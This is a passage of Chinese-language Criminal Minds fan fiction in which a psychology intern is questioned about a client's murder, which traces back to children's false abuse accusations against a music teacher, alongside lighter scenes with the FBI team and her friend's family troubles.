加西亚在期间不忘一人塞了一块红糖糍粑。
糯叽叽的甜食本就是女孩子的专属小天使,等在一旁的JJ和艾米丽瞬间被裹着黄粉和棕色酱汁的糍粑俘获了。
伊芙琳抬眼就看到不知道什么时候站在门口的巧克力男人还有他旁边博士先生。
对方棕色的短卷发依旧乱蓬蓬像是一个刚从树洞里钻出来的松鼠,和冬眠没有结束一样想,暖棕色的眸子都带着一股子雾蒙蒙的湿气,眨了眨眼,两人面面相觑,最终伊芙琳欠了欠身,标准的学生见老师的恭敬态度,“好久不见,您看起来比之前气色好多了。”
不说摩根死死的憋着笑,罗西走过来的脚步都一顿,他依稀在哪听过如此让人亲切的话。
霍奇无声的笑了。
罗西反应过来,不就是他年轻时在学校遇到老教授时慰问人家的语气吗?可这语气用到了才三十岁的瑞德身上。
瘦弱的青年茫然的挠了挠自己的衣袖,看了眼铂金色的脑袋,想了想也点了点头,“是好多了,最近没有熬夜……”
JJ和艾米丽离他们最近,看着这俩刚出炉的老教授和小学生的对话,纷纷无语,重点是瑞德还一本正经。
伊芙琳点了点头,她抿唇笑了笑“傲夜对身体可不好,您要好好休息才是。”
瑞德回以一个短暂的笑容,快的差点没让伊芙琳看到。
然后就没有然后了,瑞德点了点头走了。
就这么走了……
摩根歪着身子冲霍奇他们摊手,目光所及都是无奈。
——————
第二天一早,伊芙琳上午没有课,人刚上楼,就见主任胖墩墩的身子如同汤圆一般滚出了伊芙琳的视线。
科里恩两朵银白色的小花卷在鬓边被主人狂奔时的风吹的东倒西歪,但显然花卷的主人没工夫注意,此刻来到大门口,就见远远的一辆鸣笛的警车一溜烟的就往他这开。
这可给科里恩急坏了,他千叮咛万嘱咐不要这么张扬!
亨利警探和面前的褶皱胖团子对视片刻,她斩钉截铁道,“带路。”
科里恩只能不甘不愿的将人领进门,一看周围的邻居和路人目光,他简直要捂
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着胸口倒下去了。
一边爬上楼一边小心问道“您找伊芙琳和汤恩医生有什么事?很严重吗?”
科里恩被之前的那个家伙弄的有些条件反射了,他太害怕诊所再精心培养出一个连环杀人犯,那他这个诊所真的就不用开了!
奈何,亨利警探之回答了一句,“案件相关,不能泄密。”
当伊芙琳和汤恩医生被叫到走廊时,还不到八点半,此刻楼里都没多少人。
伊芙琳看着面前的亨利警探,她眼底闪过一丝困惑,总感觉面前的叔叔有些眼熟。
亨利一眼就认出这个幸运的姑娘,不得不说她和杀人犯同归于尽的架势,让每一个后来知道的人都觉得这是个刚强果敢的姑娘———那犯人现在还半瘫在监狱里。
亨利可知道面前一脸乖巧的小姑娘在最后关头肯定做了什么,不然没道理杀人犯差点死了,她只是额头受了点伤。
一旁的科里恩率先憋不住,搓着手一脸痛苦的询问汤恩“你杀人了?”
汤恩本迷迷糊糊的,昨晚和妻子大干三百回合,吵到最后天都亮了,此刻意识都还混沌,不过主任的话却像是一道惊雷将他整个人劈清醒了。
汤恩怪叫一声,像是被踩了尾巴的狗,“我杀人干什么!主任我就算是渣了你侄女你也不能害我啊!”
伊芙琳惊讶的看着身边赌咒发誓自己杀人就出门被车撞死的汤恩医生。
科里恩看不出杀人犯到底是不是杀人犯,他纠结的看了几眼汤恩,目光痛心疾首的落到了伊芙琳身上,“孩子,你杀人了?”
“我连鱼都不敢杀只敢买死的!”伊芙琳吓得倒退三步,目光紧盯着穿警服的先生们大声道,“我不敢的,我没有理由的,我妈是有名有钱的巨星维多利亚蔡斯,我爸爸是植物学家!”
伊芙琳深知一句话就能害死人,她都不知道主任为什么要这么对她,又害怕被抓又害怕被诬陷,语无伦次到最后把爸爸妈妈都抬出来了。
不过两人的惊慌失措都没让科里恩放下心,科里恩主任瞧着面前的一男一女,他现在也被刺激的受不了,看谁都是一副道貌岸然的样子,被之前那个连环杀手的老实样糊弄过的主任看谁都觉得对方身上背着几条人命。
还是亨利咳嗽一声打断了被背刺后疑神疑鬼的科里恩主任,“只是询问一些事,他们和案件本身没有太大关系。”
伊芙琳在车上就有些坐立不安,如果主人没说那样的话还好,一说她感觉身上像是被缠上了命案甩都甩不掉的那种。
刚进门就听到一侧传来哭喊,“我为他掉了一个孩子!我怎么可能忍心这么折磨他!别给我看!我不看!”
11. 孩子的谎言
这声音?
伊芙琳停下脚步,循声望去,恰巧看到门被紧紧的关上。
缝隙中一闪而逝的红色长发直接证明了伊芙琳的猜想。
伊芙琳顿时有些无语了,她在此刻深深的认为,莉娅这个女人绝对是个灾星。
不怪她这么想啊,安安稳稳了二十年,自从遇到这个人,伊芙琳总被卷入一些重大案件中。
伊芙琳正在琢磨着要不要烧点纸让前世的姥姥姥爷保佑她,也不知道这个古老的仪式跨时代跨国能不能有用,要不要再给阎王爷烧点钱贿赂一下……
一旁的汤恩并不知道跟在他后面的同事已经琢磨着在迷信这一方面升级,要搞贿赂了。
他紧张极了,自己的事情只有自己知道,如果他没有失忆,那么四十五年以来他做过的最大的人坏事,就是脚踏两条船。
这么一想,汤恩稍微平静了些,毕竟他干净的到不得了。
也不怪这两人有些紧张,亨利先生说了只是询问,可简单的询问在心理诊所就可以,为什么将他们带到警局里问话。
一般这种情况,多数是被当作犯罪嫌疑人的备胎,汤恩深知自己面对警员们的拷问一定要想好了再说。
两人被带到一间小会议室里,百叶帘的缝隙中还能看到大厅,外面的人忙忙碌碌的,电话铃声也是此起彼伏。
这时女警员端来两杯热咖啡放到两人的面前就出去了。
屋里只剩下汤恩喝伊芙琳,他拉开领带直接塞进裤兜里才压低声音道,“你知道出什么事了吗?”
伊芙琳摇了摇头,她只知道加西亚他们昨天过来办理的大概就是这个案子。
和心理诊所有关,会是谁呢?
员工还是患者。
一大早也没注意到哪个员工没有来。
不过脑子里短暂的混乱了一会儿,伊芙琳冷不丁想起一件事。
不叫其他人,只叫他俩,那么这个人肯定是伊芙琳认识的,而汤恩医生和伊芙琳共同认识的人……
想起那个青年,伊芙琳眼皮一跳。
约书亚杀人了?
还是被杀了?
相处的时间不长,但伊芙琳不想看到对方的尸体……
门被人从外面打开,伊芙琳也没有抬头,她握着咖啡杯哀叹自己怎么总是卷入FBI介入的重大案件当中,果然不是错觉,自从被绑架后都没什么好事。
这家诊所会不会歇业,伊芙琳还是很珍惜自己来之不易的机会,三千小时呢。
“蔡司。”
伊芙琳听到自己的姓氏下意识的抬头。
个子略高的青年就站在门边,还穿着昨天那一身,衬衫的袖口被他挽了上去,挽的不是很利落,总往下落。
蓬松的头发以及看着书卷气更足的黑框眼镜,被遮挡的暖棕色眼眸却依旧带着懵懂的温和,只是眼底晕染了一层黑眼圈。
汤恩喝了口咖啡,看了眼门口文弱的青年,压根没联想到对方是FBI的高级探员,他显然以为这是伊芙琳的朋友,听闻消息赶来帮忙的。
伊芙琳起身准备过去,她知道这是要把自己单独拎出去审问。不过走了几步又回身端起桌上的咖啡,这个咖啡不知道为什么油脂高的香喷喷的,她蛮喜欢的。
端着咖啡向着门口的人走去,咖啡有些烫,伊芙琳不时的换手。
瑞德看了看,他将本子从右手换到左手,腾出来一只摊开。
伊芙琳摇了摇头,她觉得不是那么难以忍受,就不想麻烦面前的瑞德博士了。
瑞德有些不知道说什么,他收回手推了推眼镜,咳嗽一声才轻声道,“跟我来吧。”
伊芙琳跟在瑞德身后,跟着他路过了好几间小办公室,门和百叶窗都关的紧紧的,伊芙琳进了其中一间。
门关上后瞬间安静了不少,伊芙琳做好了被问的准备,她手指点着纸杯口,目光落到瑞德博士伸手握着圆珠拉下百叶窗,室内的灯很明亮。
瑞德将夹子里的照片拿出来,一张张摆在伊芙琳的面前,他看着她每一秒的情绪变化。
明亮的光线足以让伊芙琳看清楚约书亚青白的脸,恍惚间对方活了过来目光死死的盯着她。
伊芙琳脸色骤然惨白,任谁看到接触过的人没多久就成了一具被断了生殖器的尸体……
瑞德双手撑在桌面上,桌子本就不大,两人距离很近,他轻易的看到了对方指尖颤抖,瞳孔害怕的剧烈收缩……
他轻声道,“他为什么突然换了你做咨询师?毕竟比起汤恩医生,你只是一名刚实习的助手。”
伊芙琳对于瑞德的问话,她深吸口气抖着手抱着咖啡,掌心接触到烫手的温度,她移开视线看着对方倾身时来回摇晃的工作证,上面的人还留着到脖颈的卷发。
勉强定下神后,伊芙琳嗓子干涩的说道,“汤恩医生和科里恩医生,觉得他没有任何心理问题,所以约书亚的咨询工作换成了我。”
“你认为他有抑郁症吗?”瑞德看着汤恩医生的诊疗记录抬了抬眼镜,看着伊芙琳那张还有些煞白的脸色,他似乎想说什么但看了眼身后的摄像头又闭上嘴巴,“我见你在诊疗记录上写的和汤恩医生的诊断有些出入。”
伊芙琳垂眸握着杯子喝了口咖啡,咽下去后想了一会儿才犹豫道,“实际上,我觉得他性格有些偏差,和他表面上的浮夸相反,是个很细腻的男孩。我还是大三的学生,学的不多所以我也没办法断定,不过不是从心理角度来说,我觉得她似乎很压抑,不是很开心的样子。”
瑞德手机震动,他站直身子,接了一通电话后转身出门。
动作很快,伊芙琳没反应过来人就没影了。
艾米丽刚进大厅就见瑞德和霍奇从办公室出来,她将两张打印出来的照片递给两人。
“硫酸腐蚀的部分没有办法复原,上面只有一点点线索,或许约书亚熟悉的人能够认识这个女人。”
被新打出来的照片还带着塑胶的味道,上面大致能看出一个女人坐在钢琴前,侧身冲向镜头,只不过大部分都是黄色的色块遮挡,只留下女人的一只眼和几缕金色的头发,头发长短也不知,而钢琴也只剩下几个黑白色块。
背面一个resa的名字,但R的前面似乎还有一个连接的笔画……
“这是这个女人的名字?resa……”
——————
莉娅捂着脸,哭的脸都红了,实际上她又一次怀了约书亚的孩子,可问题是人不在了,她又没钱,那个老女人肯定不会抚养她的孩子。
学费也没有弄到手。
莉娅整个人都陷入了极度的灰暗,情况已经坏到不能再坏了。
在霍奇拿着照片进来时,看到的就是已经麻木到平静的莉娅。
他将照片递给莉娅,“你能看出这只眼睛的主人是谁?约书亚有没有说过这个人。”
莉娅看了眼照片,她和约书亚大部分都在上床的路上,哪有几分回忆过去展望未来的空闲,约书亚口中讲的最多的就是他那个妈。
那个恶毒到没有任何人类情感的老巫婆,这是莉娅对约书亚母亲的爱称。
不过,她冷不丁扯过照片,眯着眼又看了一会儿,面色从麻木已经变成了疑惑。<
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p>“这个女人……”
好眼熟。
霍奇不动声色的看着绞尽脑汁回想的莉娅,他们现在已经断定这几个受害者唯一有联系的就是塞在他们嘴里强迫他们咽下去的照片里的女人。
而凶手和这个女人之间肯定有一层很紧密的关系。
凶手是一名二十到二十五之间的年纪,没有对受害者施暴发泄,只是平静的将生殖器砍掉。
每一个案件受害者都是一个家庭为单位。
而在这个家庭为单位,父母和年长的哥哥被杀却独独留下了幼小的孩子。
犯人或许是在报复,而受害者年纪最小也是二十一岁……
父母结仇?
孩子?
正反两面都看了,伊芙琳本就是约书亚生活中的边缘人物,如果不是突然转诊,她今天都不会过来。
伊芙琳看着瑞德准备将照片拿走,背面的resa在她面前一闪而过……
“等一下等一下!”伊芙琳匆忙的抓着那只要抽离的手。
手腕上骤然贴着微暖的触感,瑞德还未反应过来,而对方手指紧紧的扣着他的手腕上。
一根一根白皙的指尖搭在了瑞德骨节分明的手腕上,两人这时候注意力都在照片上,而伊芙琳也冷不丁想起来那天约书亚说的一个名字。
“如果我没猜错,或许上面是Theresa,特蕾莎。”
“他当时有些恍惚,感觉似乎在想什么,特蕾莎这三个字像是无意说了出来,他说完脸色突然变得好难看,我当时以为我摸到了他内心的症结所在,结果他和我说肚子疼要拉肚子,我就没在意……”
伊芙琳刚说完就见对方拿着手机给加西亚打电话,让她查一下特蕾莎。
瑞德抿着嘴表情有些严肃的在思考着,只有几息的时间,他立刻道“范围缩小在约书亚高中,不对是初中,小学到初中时期的音乐老师的名字。”
瑞德揉着熬夜胀痛的后脑勺,头发更加乱蓬蓬的,他脑海里闪过从头到尾隐藏在细节的线索,他语速飞快的和对面的加西亚道,“侵犯幼童….”
瑞德看了眼趴在桌上的伊芙琳拉开门出去找霍奇。
事实证明,加西亚没有查不到的东西。
“特蕾莎,艾伦机构音乐老师,独自一人抚养儿子,因多名儿童描述了特蕾莎对他们的侵犯,被家长控告,虽然最后因无罪释放,但承受不了舆论压力最终掉死在家中的卧室里。”
霍奇马上让罗西和摩根率先去特蕾莎旧居。
约书亚的母亲失踪了……
艾米丽坐在车上看着加西亚发来的文件,真是被恶心的够呛。
约书亚当年七岁,因着几次偷看特蕾莎上厕所,才看到老师大腿外侧的疤痕,并拿着这个疤痕和自己的妈妈说老师侵犯他。
约书亚想要自己的母亲关注自己。
而其他孩子是觉得好玩,想要吸引大人的注意力,一个个不想让约书亚一个人霸占了所有风头,纷纷说特蕾莎也侵犯了他们。
大人们更是怒不可遏,毕竟那么隐私的部位,不是侵犯了孩子,孩子们怎么会看见。
于是谁都没想到雪球越滚越大,等到事情闹的越来越疯狂,约书亚害怕了,他和查证的警察又实话实说了……
可即便这样,特蕾莎因侵犯幼童在法院走了一遭,出来了依旧被人用一种怀疑和恶心的眼神看着……
而那些孩子也只被他们的父母轻飘飘一句孩子还小,即便撒谎了也改过自新了,没有留下任何痕迹。
没有留下任何案底就轻飘飘抹杀了一个温柔的老师……
12. 发名片
看了眼时间,还能赶上下午的两节课。
其中一节还是主课,伊芙琳可不想错过,可警员们大多都出去了,留下一些办公人员并不能明确表示,伊芙琳可以离开。
于是,她只能自己询问了休息室的位置,靠着料理台,随手拉开身旁的抽屉,拿了一块Snickers塞进嘴里,她中午都没吃饭饿极了。
丝滑黏软的士力架口感扎实,甚至有点粘牙的。
伊芙琳鼓着左脸颊咬着焦糖包裹的花生碎,从里面又翻了一包Oreo饼干,在休息室进来人时她有些紧张会被人说。
毕竟是女孩子,总还是要一点脸皮,如果不是饿急眼了她才不会不管不顾的进去找吃的。
不过对方并没有说什么,只是看了她一眼就去角落冲咖啡去了。
伊芙琳在大厅一侧的长椅上坐着继续吃饼干,看了眼莉娅所在的屋子,看不见里面。
不知道过了多久,大厅外传来喧闹的声音。
最先进来的是穿着FBI防弹背心的罗西先生,他和身边的瑞德正在低声说着什么,伊芙琳咔嚓咔嚓咬碎嘴里的巧克力饼干,目光落到瑞德博士那微白的脸色。
对方看着精神状态不是很好,攥着手机的手骨节都泛白了,低垂着眸略微偏头,似乎不想听身边人说的话,有些抗拒。
伊芙琳看着这些人和亨利进了办公室,收回目光看了眼手里的包装袋。
里面只剩两块了,所以他是被什么东西吓到了?还是饿了?
看着像是情绪不太对,不管是饿了还是心情不好,吃点甜食还是能刺激大脑多提供点多巴胺的。
伊芙琳张望了四周,然后又摸到了休息室,一看,里面那俩人还在聊天,咖啡就在手边也没喝,将零食抽屉挡的死死的。
伊芙琳抬手不自在的撩开了自己的秀发,在这时她只能摸着头发缓解尴尬,好在他们并没有说什么,端着咖啡很识趣的离开了。
扒拉了两条饼干放进兜里,又扒拉几袋小零食,伊芙琳转身出了休息室,迎面一个人撞了上来。
那人跑的速度可不慢,撞上来的力度也差点让伊芙琳整个人差点飞出去,当然这是是夸张的说法,可额头和鼻子确实疼的不得了。
“翠丝?”伊芙琳捂着鼻子,看着扶着她东张西望的女人,没好气的瓮声瓮气道,“看什么呢!你怎么进这来了?”
还跑的这么快,伊芙琳鼻子疼的生怕被撞断,生理眼泪都冒出来几滴,她拿着帕子狠狠的擦掉眼泪。
翠丝本有些担忧的看着伊芙琳,她那里想到这人怎么也在警局,不过好友一句话顿时让她脸立马拉长了。
翠丝气的捏着拳头一股脑将她妈干的事都说了出来。
“我正上着课呢,当然你也知道我每节课的后半节都在睡觉”这不怪翠丝,谁让老教授们一个比一个能催眠,听半节已经是翠丝的极限了,考上大学这件事已经耗费了她全部的精力,没多余的精力再疯狂地学习了。
当然这不是重点,两人排排坐在长椅上,伊芙琳手里还拿着饼干呢,不过她也没心思吃了,听着翠丝继续道,“我妈给我打电话,手机响了好久,我这不正睡着吗,教授亲自将我叫起来……”
“行了,讲重点。”伊芙琳看着不想听翠丝又臭又长的丢人的事。
翠丝憋气,但看着伊芙琳红红的眼眶她又没办法耍赖皮。
“我妈报警,说我这几天总是半夜闯进家里,说我吓到她了说我扰民!”翠丝说着说着整个人都激动了,“我半夜出没出去伊芙琳你是最清楚的!我忙着在酒吧扒拉好男人,哪里有功夫去吓她。”
翠丝整个人如同一个炸了的黑蘑菇,双手撑着膝盖眼里冒火,她也是不明白了,维多利亚女士对伊芙琳慷慨的不得了,二话不说买了一套公寓,平时更是衣服零食不要钱的寄给女儿。反观她老妈!只是要点钱过渡一下,她也和老妈说了下个月的生活费可以扣除十五美元。她是为着这件事闲的没事去楼下喊几嗓子撒个娇,可她没有钥匙进家门呀!那个恶毒老巫婆将她扫地出门时连钥匙都摸走了!
现在还污蔑她!哪有将亲女儿送到警局的!
“总之,我和提亚女士被带到警局调解关系。调解员讲了俩小时我实在受不了借着上厕所的借口跑了出来。”翠丝深知提亚女士也有些坐不住了,只不过是想给她这个女儿一个教训硬挺着罢了,眼见着她老妈抬着大屁股似乎想要起来,翠丝她抢先一步跑了出来。
那警员一个男的比提亚女士还要啰嗦,说的人头都要炸了。
伊芙琳有些心虚了,这件事听起来还是十五美元的错?她想着要不就不用好友还了,毕竟她也不差这些钱,当时主要是想让这个邋遢的家伙长点记性。
可闹成这样就不太好了。
这般想着,伊芙琳刚想说什么,抬眼就见翠丝不知什么时候已经掏出一面小镜子,手推着自己脑袋上的两朵黑蘑菇,顺道从包里掏出来一只口红边涂边含糊道“不过这次也不算没有收获,刚才看到了一个FBI的巧克力帅哥进来,我准备跟人要一个电话。”
翠丝抿了抿嘴巴,满意的收回镜子,她没管旁边寂静的好友,打量了下自己的衣服才往大厅四处看去,那巧克力帅哥长得是真男人!短袖都遮挡不住曲线分明结实有力的肱二头肌,嘿嘿嘿在床上一定……
伊芙琳盯着好友笑的猥琐但还不忘匆忙在胸口划十字嘟囔着饶恕饶恕的一脸猥琐样,她突然觉得之前的自己是个大傻瓜。
抬起手捏着好友的后脖颈,伊芙琳狠狠的拍了拍翠丝胸口挂着的木质十字架,面上一片温和眼底带着警告道,“什么时候把我的书买回来?抓紧时间赚钱吧,别想那些没有用的了。”
伊芙琳低声警告道,“你说的那个男人是给咱们将讲犯罪心理的两位老师的同事,咱们也算是罗西先生的学生,你丢人别丢到老师那里。”
这朵脑子不好使、不会看眼色没有情商的奇葩,伊芙琳自认这家伙在朋友圈里丢人,也比在罗西先生他们小组里丢人的好。
不过伊芙琳话都没说完,身边的人蹭的站起身,正常的姑娘都会等在原地或者有些害羞的不敢在公众场合靠近自己喜欢的男孩面前……
翠丝完全相反……
伊芙琳拉都没拉住,眼看人跨越式几大步跳去,而罗西先生他们已经发现了迎风奔来的黑人姑娘。
伊芙琳在这一刻脑海里闪现了两条路,一条当作不认识这个人,等着警员通知自己可以走了就马不停蹄的离开。另一条路,在翠丝说出更让人下不来台的话之前火速捂住她的嘴。
“嘿,帅哥,留个电话吧。”翠丝盯着巧克力帅哥,越看越喜欢。
摩根看了眼跟在后面倒退三步的伊芙琳,目光又落到人群后喝着咖啡的脸色缓和的瑞德。
摩根向来不是一个扫兴的人,面对翠丝的请求,他当然同意,随手将翠丝递过来的纸笔写了电话和名字。
翠丝黏糊糊的看了几眼帅哥,心知自己要当场扑过去,伊芙琳绝对会让自己进不去家门的,翠丝只能将自己满腔的好感准备压回家晚上电话细说,嘿嘿嘿。
某种角度来说,十字架都压不住翠丝的邪念,伊芙琳可以。
说起伊芙琳,她将手里偷渡过来的饼干递给握着咖啡低头抄兜的瘦高高的博士先生眼前,见对方暖棕色的眼里带着一丝疑惑,她挠了挠脸蛋道“我见您脸色不太好,吃
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饼干不?”
“嘿!嘿!”摩根快速的伸手抢过瑞德刚拿到手里的饼干,捏着饼干袋笑的一脸□□,“给我一袋吧伊芙琳,我这连打到踹的可饿的够呛。”
瑞德蹙眉一脸不赞同的想要说什么,就见身边的姑娘从上衣兜里掏出了两条士力架和两袋糖果,乖乖的伸手递给小组成员。
霍奇还在不远处和亨利警长说着话,回来后看到组员手里都拿着零食。
“这是从哪弄来的?”霍奇接过JJ给他的一袋糖果,抬眼就看到JJ忍着笑,看了眼摩根。
而摩根正和罗西分析瑞德和伊芙琳在一起的几率
摩根咬着饼干往外走,和艾米丽打赌,“百分之八十的概率,楼下一个月的咖啡。”
艾米丽有些纠结,她觉得两人都不怎么接触,距离还远,年纪相差很大说不定说不到一起去,综合考虑,艾米丽谨慎的给出了百分之五十的概率。
也是无聊的赌注,艾米丽觉得他们真是越活越幼稚了。
两人看向手里捏着摩根给的巧克力饼干有些嫌弃并没有下嘴的罗西。
罗西一本正经道,“等一会。”他得仔细观察一下才能下定论。
一出门就看到站在台阶上的两人。
摩根和艾米丽顿时明白了罗西为什么说等一会,他是想要观察,老奸巨猾呀。
罗西笑而不语。
不过显然,罗西发现不了太多和爱情有关的线索,就见小姑娘从背包里拿出一沓名片。
伊芙琳将名片放到瑞德博士手里,正全方位无死角的夸赞自家的心理诊所。
“如果您身边的人有需要,可以打这上面的电话,二十四小时服务,电话咨询比线下咨询费用低,物美价廉,我们是专业的。”
伊芙琳其实和瑞德博士出来后,就接到了主任的电话———客户全跑了。
梅里老师说的是真的!
今天本来要接诊的几个青少年,被闻讯而来的父母接走了。
伊芙琳冷不丁想起来汤恩医生和她说的话,而电话那边主任情绪有些不稳定,她清楚的听到了对面的醒鼻子的声音,不可置信但也只能相信——主任哭了!
【……总之,伊芙琳这段时间你可以放假了,我和汤恩他们要去其他社区发传单了……】此处的停顿是科里恩主任哽咽了……
伊芙琳当时表情一片空白,她看了眼已经在警局大门口将名片递给警卫员的汤恩医生,对方正脸上带着讨好的笑,一边和警卫员说话一边不忘给任何一个进出的人手里塞一张,熟练的让人心疼……
伊芙琳初步断定,当年连环杀手凭着自身独特的作案手法成功的让咨询室的众人发了不少时间的传单……都熟透了。
可伊芙琳不想在大街上给陌生人发名片啊!
目前还没完全踏入社会的小姑娘脸皮还有些薄,可思来想去又不想失去这个可以赚督导时间的兼职。
于是左思右想,犹豫不决,下了几个台阶的伊芙琳最后还是舔着脸寻求看着好说话的瑞德先生的帮助。
对方当时听完后,眼睛都睁的大大的,暖棕色的眼睛里都带着惊讶,他本就记忆力过人,听到伊芙琳简短地说了几句,立刻想到了那个人是谁。
等到人走后,瑞德看向身后慢吞吞走来的同事们,在同事过来时摊开合拢的手,让他们挨个拿一张。
罗西捏着名片放进自己的卡夹里,一边下台阶一边和身后明显静音的两个对赌的同事懒洋洋道,“我放弃。”
留下一脸不知道发生什么的瑞德和捂着脸大叹气的摩根。
成功的将名片送了出去,伊芙琳回学校上课,而翠丝已经被调解员重新压回了警局。
13. 没有接通的电话
夜里十一点,整座城市被笼罩在大雨之中,噼里啪啦的雨点在玻璃窗上炸出了一朵朵雨花,遮挡了伊芙琳的视线。
她端着一杯温热的水转身看向大厅里的女人。
对方穿戴整齐正往包里塞水果刀、手电筒……还有伊芙琳买的巧克力饼干、巧克力软糖和巧克力流心面包,一大盒流心面包塞不进去,翠丝干脆背着包将盒子抱在怀里,一副要出去野餐的样子。
伊芙琳在看到其他勉强沉默,但是巧克力屋的流心面包被这女人抱在手里显然准备暴殄天物,在守夜抓贼时全都吃进嘴里。
这让伊芙琳再也保持不了平静,这是每个月只有一天贩卖的限定款。
可好吃了!
伊芙琳上前一把将巧克力面包盒子抢过来,面对翠丝哀怨的目光,她不动声色的打开盒子看了眼,好在面包里的巧克力酱没被对方挤出来。
她放进冰箱里,隔着厨房料理台面无表情道,“你明天去也行,今天不可以。
眼见着翠丝要张嘴了,伊芙琳指了指窗户,“你瞧瞧这雨有多大,更何况还是半夜,你一个姑娘要是出了事喊人都没用。”
更何况,伊芙琳被最近集体出没的变态们吓得有些神经过敏,她自己都是下课后早早回家,连陌生的老人家问路都被她以不认识路为由躲开了。
她不希望朋友受到伤害,那种折磨,说实话不是人能够承受的,伊芙琳是一个很惜命的人,不到万不得已都不会自杀,可那时候真的真的受不住了。
她很害怕亲朋好友也遭受这种伤害。
翠丝脑子发达,这时候没想其他只握着伊芙琳的手,大咧咧道“你放心,我一入夜,谁都看不到我。”
“……”伊芙琳干净利落的拉开翠丝的黑爪子,忍着想要实名辱骂面前毫无警惕的大傻瓜,“开膛破肚的尸体你见过吗?你可能没见过,我可亲眼看见那个男人将我上几任受害者的心脏放进福尔马林液体中浸泡,那个心脏和那些女人们刚挖出来的样子一样,我也差点被挖了心脏,你还不能干脆利落的去死,拳打脚踢都是最基本的,针戳进指甲缝里的痛苦你体会过吗?”
伊芙琳心累,“你真的觉得变态会因为你黑就看不见你吗?草原上的雄狮为什么精准的盯着一大群羊里最弱的那个羊,它一定观察了很久,观察你的一举一动,说不定那个杀人犯就蹲在小区外,像狮子一样盯着你……”
伊芙琳说的口干舌燥,即尽可能的吓唬翠丝。
导致翠丝小心翼翼的看了眼窗外的狂风暴雨,脑子再不好使的她也歇菜了,灰溜溜的回了房间。
见人回了房,伊芙琳也准备关灯入睡了,不过关灯前她例行公事的扯了扯挂在门上的三条防盗锁。
不过只过了几天,再一次被带进警局的翠丝彻底爆发了。
“我要是不抓到那个家伙就让我一辈子找不到男朋友!”翠丝坐在家里,眼睛死死的盯着提亚女士和她身边的新男友,堪称咬牙切齿的将话说了出来。
伊芙琳站在门口,一时间想要掉头离开,这种家庭战争显然不适合她这个外人旁观。
不过显然提亚女士没有家丑不可外扬的想法,她那双和翠丝一模一样的大眼睛看向门口的伊芙琳,这位女士直接道,“伊芙琳你不要帮她撒谎,你说说她这几天晚上有没有回你那。”
提亚女士这幅完全不相信女儿的样子无疑在翠丝心里添了一把火,伊芙琳已经听到翠丝磨牙的声音。
伊芙琳咳嗽一声,将单肩的背包带调整了一下,一本正经的为好友证明她真的是一宿都没有出去。
“我听翠丝说了,您半夜总看到一个人影在床边,可偏偏起身时人就不见了,这么近的距离您还抓不住,这就有两点需要说明的。其一对方运动发达跑得快,其二就是智商严谨用了一些技巧让您即便和人影很近也抓不到他。”
伊芙琳看了眼正在安静听着的提亚女士,盯着她那双眼睛诚恳的问了一句,“您和翠丝生活这么多年,您觉得翠丝占了哪一条。”
“……”
“……”
沉默,双双的沉默,这是纠结了好几天经历了两次警察局调解后,提亚女士从女儿竟然敢吓她的暴躁情绪中慢慢的恢复理智,她冷静的思考了一下,以翠丝的运动能力和智商……
翠丝总觉得伊芙琳的话有哪里不对,摸了摸自己蓬松的爆炸头也没反应过来,她直接和老母亲道,“我半夜过来蹲点,你们正常睡,我要看看到底是哪个贱人让我背锅!”
伊芙琳直接略过翠丝,她也是有些好奇的想要问一下提亚女士,难不成那人就半夜站在她床边吓唬她就没别的事?例如丢了东西或者……
后知后觉的,伊芙琳代入自己,如果有一个人每天在自己半睡半醒时站在窗边直勾勾的看着,如果对方是个穷凶极恶的歹徒,伊芙琳就是从自己的房间被带走的。
只要一想到这件事她直接头皮发麻,看向提亚女士时都带着担忧。
伊芙琳觉得自己有必要提醒一下,她看了眼提亚阿姨身边的男人,似乎那个人影出现的时间点和这个男人还蛮重合的……
吃了午饭后两人离开,临走前伊芙琳让提亚女士上床前手里拿点什么东西防身。
因为身边很少发生谋财害命的事,提亚女士和翠丝仿佛都少了警惕的这根弦,两人一脉相承的大长脸上都是一副不以为意的样子。
提亚女士也就罢了,伊芙琳看翠丝这表情就知道自己昨晚白说了。
翠丝晚上回家抓人,伊芙琳并没有跟着过去,有可能是兼职的工作暂停后,她整个人突然懒了起来,更喜欢窝在家里看看书学学习顺道看看电视。
说起兼职,伊芙琳就想起了加西亚打给她的一通电话。
两人交流的话题百分之八十都是美食以及如何制作美食。
之前加西亚就想拜托伊芙琳教她如何制作牛肉干,但她之前没时间再加上没有食材,于是只能说下一次。
说起来,今天周六,如果没有意外加西亚应该在休息。
冰箱里还有一小坨解冻的牛肉,本来想要炒点牛肉配卷饼的。
伊芙琳转身去卧室拿电脑。
加西亚正抱着纸哭的鼻涕一把泪一把,时不时的抽噎一声,顺道从一边的碗里抓一把玉米脆片塞进嘴里,哽咽着咔嚓咔嚓的吃东西。
电视频道上的快乐火车节目里男男女女的笑的开心极了,加西亚觉得自己心情更差了。
分手真是一件痛苦的事情,加西亚女王接到瑞德的电话时勉强憋住糟糕的心情,尽量不想让朋友担心的加西亚满脸泪痕但语气佯装轻快,“这里是加西亚女王。”
瑞德看了眼手机,青年敏感的察觉到了加西亚的情绪有些不对劲,即便对方竭力掩饰。
罗西正在自家酒柜前准备选一瓶适合做意大利肉酱的红酒,他趁着周六难得没有案件,决定给小组的成员们展示一下什么叫真正的意大利肉酱意面。
红酒可是肉酱里必不可少的点睛之笔。
JJ和丈夫抱着儿子在花园里,摩根站在窗边打电话,
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看了眼小亨利踢着自带的足球和爸爸玩的不亦乐乎,也忍不住露出了笑容。
阳光有些刺眼,瑞德抬手遮挡了一下,决定当作什么都没发现,如果朋友竭力掩饰,那就证明她不想让他们担心。
瑞德问加西亚有没有时间来罗西家品尝意大利面。
罗西正好挑好了一瓶转身听到瑞德精简的描写,他路过瑞德和电话那边强调,“正宗的意大利肉酱意面。”
瑞德抿着嘴笑了笑,拨弄了一下快要挡住眼睛的凌乱的刘海,和电话里的加西亚确认了一下她能不能过来。
加西亚捏着鼻子防止鼻涕落下来,又不想醒鼻子让对面的瑞德听见,一时间有些纠结。
她喜欢一切食物,听着罗西要亲自做最正宗的意大利肉酱意面,加西亚确实有些馋了……
可心里还是有些难过,她怕自己在朋友面前会憋不住,她真的会哭的!
于是,不想让朋友们担心,加西亚只能谎称自己和男朋友约会,不能过去了。
为了让自己的谎言编的更真实,加西亚还让罗西给她留点酱等上班的那天给她。
挂断电话的加西亚松口气,但紧接着电脑的视频通话响起……
伊芙琳抱着笔记本电脑坐在厨房的料理台边,正一只手抵着脸颊看着久久没有接通的暗灰色屏幕发呆。
或许是有任务?
